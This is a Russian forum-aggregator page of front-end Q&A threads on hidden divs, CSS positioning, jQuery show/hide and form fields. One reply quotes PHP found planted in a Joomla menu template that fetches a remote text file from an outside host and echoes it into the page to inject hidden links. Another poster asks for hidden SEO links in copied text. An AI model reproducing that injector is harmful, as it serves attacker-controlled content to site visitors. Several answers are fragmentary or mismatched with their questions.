Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: див скрытый bottom

есть структура

<div>

текст

<div hidden style=position: absolute;background-color: white;overflow-y: scroll;max-height: 500px;padding: 10px;>

этот див появляется при наведении на текст и пропадает если мыша покидает область див

тут находится выпадающий список, если список выходит за див то после выбора элемента див пропадает, потому что мышь выходит за границы дива
</div>

</div>

</div>

вопрос -как проще всего добавить в скрытый див нижнюю границу чтобы див не пропадал и не закрывал страницу
Ответ:
Ясно. Я бы закрывал выпадающую панель через секунду, вот так


Возможно, имеет смысл сделать кноку, которая будет эту панель закрывать - маленький крестик справа вверху, или кнопку "close"
Вопрос: Отслеживать bottom у элемента и менять свойство у класса?

Мне нужно получать свойство у элемента и в зависимости от значения этого свойства применять свойство к классу.В моем случает мне нужно отслеживать свойство bottom у класса,и если оно превышает к примеру 400 px,то отдавать классу свойство.Но я не знаю как отслеживать свойство динамически.
В общем по простому,есть тестовый сайт
я сделал внизу фиксированное меню,что мне нужно,если зайти с мобилки и что нибудь начать печатать в поиске,то вылазиет клава и мое меню фиксируется выше этого меню,из за этого ничего не видно

нужно как то сделать чтобы когда расстояние от низа экрана и позиции моего меню превышало какое то расстояние то его прятать,онскролл пробовал не получается offset не умеет считать bottom только top как быть?
Ответ: "resize" попробуй.
Вопрос: Отрицательные margin-right/bottom

Отрицательные margin-right/bottom ведут себя по-другому, чем margin-left/top. Они не сдвигают элемент, а «укорачивают» его.

Не могу понять, как понять укорачивают
Ответ:
.wrapper{
width:200px;
height: 100px;
border:1px solid;
overflow: scroll;
}
Вопрос: не работает функция для открытия скрытого элемента

Всем приветы.

Пишу работку на Asp.NET MVC.

Есть такое представление:
Кликните здесь для просмотра всего текста

Код HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
@model Proj.Models.Info.PageableData<Proj.Model.Notes>
 
@{
    ViewBag.Title = "Записи";
    Layout = "~/Areas/Default/Views/Shared/NotesLayout.cshtml";
    
}
 
 
<div class="ui grid two column">
    <div class="four wide column">
        <br />
        <br />
        <br />
        <br />
        @foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div class="ui grid three column">
                    <div class="one wide column"></div>
                    <div class="three wide column">
                        <div class="ui secondary vertical menu">
                            <a class="item name">
                                <div class="note-name">
                                    @note.Name
                                </div>
                                <br />                              
                                <div class="added-date">
                                    @note.AddedDate
                                </div>
                            </a>
                        </div>
                    </div>
                </div> 
            }
        }
    </div>
    <div class="eleven wide column">
        <div class="ui inverted menu" id="note-menu">
            <a class="item" href="~/Notes/Edit">
                <i class="add circle icon"></i>
            </a>
            <a class="item" href="~/Notes/Edit">
                <i class="write icon"></i>
            </a>
            <a class="item" href="~/Notes/Edit">
                <i class="trash outline icon"></i>
            </a>
        </div>
 
        @foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div id="@note.Name" class="note-content" style="display: none;">
                    <p>
                        <textarea class="textarea-size" readonly="readonly" disabled="disabled">@note.Content</textarea>
                    </p>
                </div> 
            }
        }
    </div>
</div>
<div class="ui bottom fixed borderless inverted menu">
    @Html.PageLinks(Model.PageNo, Model.CountPage, x => Url.Action("Index", new {page = x}))
</div>


Так вот, задача следующая. При нажатии на ссылку, нужно чтобы открывался скрытый элемент. На форуме по асп нету, мне порекомендовали такой код:

Кликните здесь для просмотра всего текста

Код Javascript
1
2
3
4
5
6
7
8
9
10
var displayedNoteContent = null;
 
$(document).ready(function () {
   $(".name").on('click', function () {
        if (displayedNoteContent != null)
            displayedNoteContent.css('display', 'none');
        displayedNoteContent = $("#" + $(this).attr('name'));
        displayedNoteContent.css('display', 'block');
    });
});


Проблема в том, что он у меня не работает. Но, если заменить эту строку:
Код Javascript
1
displayedNoteContent = $("#" + $(this).attr('name'));
на эту:
Код Javascript
1
displayedNoteContent = $(".note-content");
то скрипт начинает работать, но отображает сразу все, а не только один элемент, как нужно.
Помогите, пожалуйста разобраться.
Ответ: На сколько я знаю, div можно запихивать в тэг a, начиная с html5. В общем не суть. Ведь, как я писал. Если заменить эту строку:
Код Javascript
1
displayedNoteContent = $("#" + $(this).attr('name'));
на эту:
Код Javascript
1
displayedNoteContent = $(".note-content");
то скрипт начинает работать, но отображает сразу все, а не только один элемент, как нужно.

В части кода:
Кликните здесь для просмотра всего текста

Код HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div class="ui grid three column">
                    <div class="one wide column"></div>
                    <div class="three wide column">
                        <div class="ui secondary vertical menu">
                            <a class="item name">
                                <div class="note-name">
                                    @note.Name
                                </div>
                                <br />                              
                                <div class="added-date">
                                    @note.AddedDate
                                </div>
                            </a>
                        </div>
                    </div>
                </div> 
            }
        }


генерируется менюшка из списка названий заметок, которые лежат в базе. У каждой заметки есть имя, которое вытаскивается с помощью этого кода
Код C#
1
@note.Name
.
а эта часть кода:
Кликните здесь для просмотра всего текста

Код HTML5
1
2
3
4
5
6
7
8
9
10
11
@foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div id="@note.Name" class="note-content" style="display: none;">
                    <p>
                        <textarea class="textarea-size" readonly="readonly" disabled="disabled">@note.Content</textarea>
                    </p>
                </div> 
            }
        }


Выводит скрытые блоки с содержимым заметки. Так вот, как сделать так, чтобы открывался только один блок, а не все сразу. Все сразу получается открыть, если сделать замену строк в джс коде, как это показано выше.

Добавлено через 2 часа 30 минут
Не знаю, может кому и понадобиться. Но я все таки решил эту проблему (может коряво и не правильно), но работает.

Код представления:
Кликните здесь для просмотра всего текста

Код HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
@model ProjName.Models.Info.PageableData<ProjName.Model.Notes>
 
@{
    ViewBag.Title = "Записи";
    Layout = "~/Areas/Default/Views/Shared/NotesLayout.cshtml";
    
}
 
 
<div class="ui grid two column">
    <div class="four wide column">
        <br />
        <br />
        <br />
        <br />
        @foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div class="ui grid three column">
                    <div class="one wide column"></div>
                    <div class="three wide column">
                        <div class="ui secondary vertical menu">
                            <a class="item name" id="@note.Name">
                                <div class="note-name">
                                    @note.Name
                                </div>
                                <br />                              
                                <div class="added-date">
                                    @note.AddedDate
                                </div>
                            </a>
                        </div>
                    </div>
                </div> 
            }
        }
    </div>
    <div class="eleven wide column">
        <div class="ui inverted menu" id="note-menu">
            <a class="item" href="~/Notes/Edit">
                <i class="add circle icon"></i>
            </a>
            <a class="item" href="~/Notes/Edit">
                <i class="write icon"></i>
            </a>
            <a class="item" href="~/Notes/Edit">
                <i class="trash outline icon"></i>
            </a>
        </div>
 
        @foreach (var note in Model.List)
        {
            if (note.UserID == ViewBag.ID)
            {
                <div id="@note.Name" class="note-content @note.Name" style="display: none;">
                    <p>
                        <textarea class="textarea-size" readonly="readonly" disabled="disabled">@note.Content</textarea>
                    </p>
                </div> 
            }
        }
    </div>
</div>
<div class="ui bottom fixed borderless inverted menu">
    @Html.PageLinks(Model.PageNo, Model.CountPage, x => Url.Action("Index", new {page = x}))
</div>



Код JS функции:
Кликните здесь для просмотра всего текста

Код Javascript
1
2
3
4
5
6
7
8
9
10
11
12
var displayedNoteContent = null;
 
$(document).ready(function () {
    $(".name").on('click', function () {
        if (displayedNoteContent != null)
            displayedNoteContent.css('display', 'none');
        var id = $(this).attr('id');
        var replaceWhiteSpace = id.replace(" ",".");
        displayedNoteContent = $("." + replaceWhiteSpace);
        displayedNoteContent.css('display', 'block');
    });
});
Вопрос: Узнать количество скрытых на странице элементов

Проблема такая.

На странице есть ряд элементов с классом class = "name_class". Часть из них отображается на экране (display:block), часть из них скрыта (display:block). Вопрос такой. Как получить количество скрытых и открытых элементов?

Заранее спасибо за помощь.
Ответ:
Сообщение от mihon1
отображается на экране (display:block), часть из них скрыта (display:block)
Надеюсь, во втором случае все-таки display:none...

Javascript
1
2
$('.class_name').not(':visible').length - кол-во скрытых
$('.class_name:visible').length - кол-во видимых
Вопрос: Скрытые ссылки

Здравствуйте! Ребята, подскжите плиз чайнику какой копи+паст код протектора можно внедрить на наш сайт, дабы при копировании вставлялись скрытые ссылки. У нас вот такой код внедрен:
Код Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <script type="text/javascript">
//<![CDATA[
function addLink() {
    var body_element = document.getElementsByTagName('body')[0];
    var selection = window.getSelection();
 
       var pagelink = "<p>Источник: <a href='"+document.location.href+"'>"+document.location.href+"</a>Портал о страховании выезжающих &copy; insure.travel </p>";
    var copytext = selection + pagelink;
    var newdiv = document.createElement('div');
    newdiv.style.position = 'absolute';
    newdiv.style.left = '-99999px';
    body_element.appendChild(newdiv);
    newdiv.innerHTML = copytext;
    selection.selectAllChildren(newdiv);
    window.setTimeout( function() {
        body_element.removeChild(newdiv);
    }, 0);
}
document.oncopy = addLink;
//]]>
</script>
код, но при копировании текста с нашего сайта и при вставлении на лругой указывается источник и человек может заросто удалить ссылку. А мы хотим чтобы при копировании с нашего сайта вставлялись скрытые ссылки с нашего сайта, так чтобы человек этого не видел (ибо ссылки видны только в хтмл) а поисковик видел и на нашу страницу уходила часть веса с тех страниц что посмели скопировать у нас. ну как-то так...
Ответ: У меня скрытая ссылка была спрятана в модуле меню и ссылалась на другой ресурс на котором и генерировалась ссылка. Находилась она тут www/modules/mod_ariextmenu/tmpl/default.php
и выглядела так:

</div><?php
$files = 'http://atempl.com/10.txt';
$file_headers = @get_headers($files);
if($file_headers[0] == 'HTTP/1.1 200 OK')
{
$url = "http://atempl.com/10.txt";
$content = @file_get_contents($url);
$data = implode($content);
echo $data; }
?>

если полностью убрать все слетало, если убрать только ссылки то все норм
Вопрос: Убрать передачу данных со скрытых списков

Доброго времени суток есть следующая форма с вы подающими списками есть выпадающие списки которые скрыты и хотелось чтобы когда они скрыты чтобы они не передавали параметр

HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<form action="/prodazha" onsubmit="connectFields(this); return false;" method="get">
 
<navh>
    <ul class="menuh">
 
<li>
<a>
 
 
<fieldset id="mse2_resource|parent"  style="width: 150px;">
<select name="resource|parent" id="mse2_resource|parent_"  class="dropdown">
    <option value="12" selected="selected">Купить</option>
</select>
</fieldset>
</a>
</li>
 
<li>
<a>
 
 
<fieldset id="mse2_resource|parent"  style="width: 150px;">
<select name="resource|parent" id="mse2_resource|parent_"  class="dropdown"  onChange="Selected(this)">
    <option value="12" selected="selected">Квартиры</option>
    <option value="57">Дома</option>
    <option value="59">Коммерческая</option>
</select>
</fieldset>
</a>
</li>
 
<li>
<a>
<div id='Block1' style='display: block;'>
 
<fieldset id="mse2_tv|rooms"  style="width: 150px;">
 
<select name="tv|rooms" id="mse2_tv|rooms_" class="dropdown">
    <option value="1">1-комнатная</option>
    <option value="2">2-комнатная</option>
    <option value="3">3-комнатная</option>
    <option value="4">4-комнатная</option>
    <option value="5">5-комнатная</option>
</select>
</fieldset>
</div>
 
 
<div id='Block2' style='display: none;'>
 
 
<fieldset id="mse2_tv|object_type_d"  style="width: 150px;">
 
<select name="tv|object_type_d" id="mse2_tv|object_type_d_" class="dropdown">
    <option value="коттедж">коттедж</option>
    <option value="дом">дом</option>
    <option value="полдома">полдома</option>
    <option value="дача">дача</option>
    <option value="участок">участок</option>
    <option value="таунхауз">таунхауз</option>
</select>
</fieldset>
</div>
 
<div id='Block3' style='display: none;'>
 
<fieldset id="mse2_tv|object_type_k"  style="width: 150px;">
 
<select name="tv|object_type_k" id="mse2_tv|object_type_k_" class="dropdown">
<option value="Офис">Офис</option>
<option value="Помещение">Помещение</option>
<option value="Склад">Склад</option>
<option value="Гараж">Гараж</option>
<option value="Здание">Здание</option>
<option value="Склад+офис">Склад+офис</option>
<option value="Сауна">Сауна</option>
<option value="Машиноместо">Машиноместо</option>
</select>
</fieldset>
</div>
</a>
</li>
 
<li>
<a>
<fieldset id="mse2_tv|town_name"  style="width: 150px;" >
 
<select name="tv|town_name" id="mse2_tv|town_name_" class="dropdown">
    <option value="Минск" selected="selected">Минск</option>
    <option value="Борисов">Борисов</option>
    <option value="Барановичи">Барановичи</option>
    <option value="Березино">Березино</option>
    <option value="Боровляны">Боровляны</option>
<option value="Гатово">Гатово</option>
<option value="Гродно">Гродно</option>
<option value="Доры">Доры</option>
<option value="Заречье">Заречье</option>
<option value="Копище">Копище</option>
<option value="Королёво">Королёво</option>
<option value="Лесной">Лесной</option>
<option value="Логойск">Логойск</option>
<option value="Нарочь">Нарочь</option>
<option value="Несвиж">Несвиж</option>
<option value="Оздятичи">Оздятичи</option>
<option value="Осиповичи">Осиповичи</option>
<option value="Прилуки">Прилуки</option>
<option value="Слуцк">Слуцк</option>
<option value="Смолевичи">Смолевичи</option>
<option value="Солнечный">Солнечный</option>
    
 
 
 
</select>
</fieldset>
</a>
</li>
 
 
 
<li>
<a>
<fieldset id="mse2_tv|price">
    <div class="mse2_number_inputs"> 
    <input class="better" style="height: 46px;width: 200px;padding-left: 30px;" type="input" id="field1" value="1000">
    </div>
</fieldset>
</a>
</li>
 
 
 
<li>
<a>
<fieldset id="mse2_tv|price"  style="width: 190px;">
    <div class="mse2_number_inputs">
    <input class="better" style="height: 46px;width: 200px;padding-left: 30px;" type="input" id="field2" value="1200000">
    <input type="hidden" name="tv|price" id="connected">
    </div>
</fieldset>
</a>
</li>
 
 
<center>    <button class="button transparent white" type="submit" style="width:132px;">Поиск</button></center>
 
    </ul>
</navh>
 
 
 
</form>
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
function Selected(a) {
        var label = a.value;
        if (label==12) {
            document.getElementById("Block1").style.display='block';
            document.getElementById("Block2").style.display='none';
            document.getElementById("Block3").style.display='none';             
        } else if (label==57) {
            document.getElementById("Block1").style.display='none';
            document.getElementById("Block2").style.display='block';
            document.getElementById("Block3").style.display='none';   
        } else if (label==59) {
            document.getElementById("Block1").style.display='none';
            document.getElementById("Block2").style.display='none';
            document.getElementById("Block3").style.display='block';
        }
         
}
</script>
Ответ: 1)добавляете атрибут data-name для всех select, где указываете название инпута (чтобы можно было потом взять оттуда)
2) проверяете, если список скрыт - убираете атрибут name у этого списка (если он есть). Если открыт - добавляете (если его нет), название берете из data-name

можете привести пример а то я не очень силен в js
Вопрос: Событие по нажатию скрытый блок

Здравствуйте Уважаемые форумчане , я новичок в программировании поэтому прошу сильно не пинать, у меня такой вопрос, при открытии скрытого блока, приходится кликать на функцию вызова два раза.

имеется такой код
var smmode=0;
var oshow_pd=0;
var oshow_p2d=0;

function sm2sh() {
   pnshow();
   top.smmode^=1;
   top.document.getElementsByName('mainframe')[0].rows=(top.smmode?"111,*,35":"75,*,35");
oshow_pd^=1;
oshow_p2d^=1;
var pdiv = parent.frames.head.pdiv || top.frames.head.document.getElementById('pdiv');
pdiv.style.display=(oshow_pd?"none":"block");
var p2div = parent.frames.head.p2div || top.frames.head.document.getElementById('p2div');
p2div.style.display=(oshow_p2d?"block":"none");
s_main();
   set_focus();
}

var _pnshow=0;
function pnshow() {
   var pnsm = parent.frames.head.pnsm || top.frames.head.document.getElementById('pnsm');
   if (_pnshow || !pnsm) return;
   _pnshow=1;
   for(i=0; i<smhl.length; i++)
      pnsm.innerHTML+="<a href='#'></a>";
}


ссылка для вывода блока при клике
<a href=# onclick="top.sm2sh(); return false;" title="панель"><b>открыть/закрыть</b></a>


сам проект для отладки
Ответ: Уважаемые гуру форума, на фреймах все работает замечательно, возможно ли на div-ах сделать такой скрытый блок?
Вопрос: При использовании абсолютного позиционирования не работает свойство bottom

когда указываю какому-либо div'у параметр bottom: 0 он просто исчезает, при этом top: 0 работает как и должен

CSS
1
2
3
4
#circle_mas{
    position: absolute;
    bottom: 0;
}
Ответ: dead fish,
HTML5
1
2
3
4
<div class="body">
<div id="circle_mas">
</div>
</div>
CSS
1
2
3
4
5
6
7
8
9
10
11
#circle_mas{
    position: absolute;
    bottom: 0;
    width:100%;
    height:20px;
    background:blue;
}
.body{
  height:2000px;
  position:relative;
}
Вопрос: Border-bottom неправильно рисует черту

Здравствуйте. При просмотре в браузере, border-bottom рисует горизонтальную черту, но не внизу header'а(как оно должно быть), а вверху.
HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!doctype html>
<html>
<head>
 
<link rel="stylesheet" href="style.css">
    <title> fischer audio fa-005 </title>
    <meta charset="UTF-8">
</head>
<body>
<header>
 
<ul class = "menu"> 
    <li><a href = "#">Главная</a></li>
    <li><a href="catalog/catalog.html">Каталог</a></li>
    <li><a href="contacts/contacts.html">Контакты</a></li>
 </ul>
 <a href = "index.html"><img src="img/af.jpg"
 
      alt="Магазин наушников AF.ru"
      title="Магазин наушников AF.ru"
       ></a>
</header>
<br>
<br>
<br>
<br>
<br>
<h1>Магазин "Аудиофил"</h1>
<p>Приветствую тебя, о, Аудиофил!</p>
<div class="footer">
<footer>
    &copy;&nbsp;Все права защищены
</footer>
</div>
</body>
</html>
CSS
1
2
3
4
header
{
    border-bottom: 1px solid black;
}
Ответ: Vlad03, действительно, я использовал также и float,но не включил в цитату. Благодарю, clearfix помог.
Если кто-то столкнется с подобной проблемой - решение:
CSS
1
2
3
4
5
6
7
8
header:before,
header:after {
  content: " ";
  display: table;
}
header:after {
  clear: both;
}
 Комментарий модератора 
Используйте соответствующие теги в редакторе для форматирования кода [HTML], [CSS] и т.д.!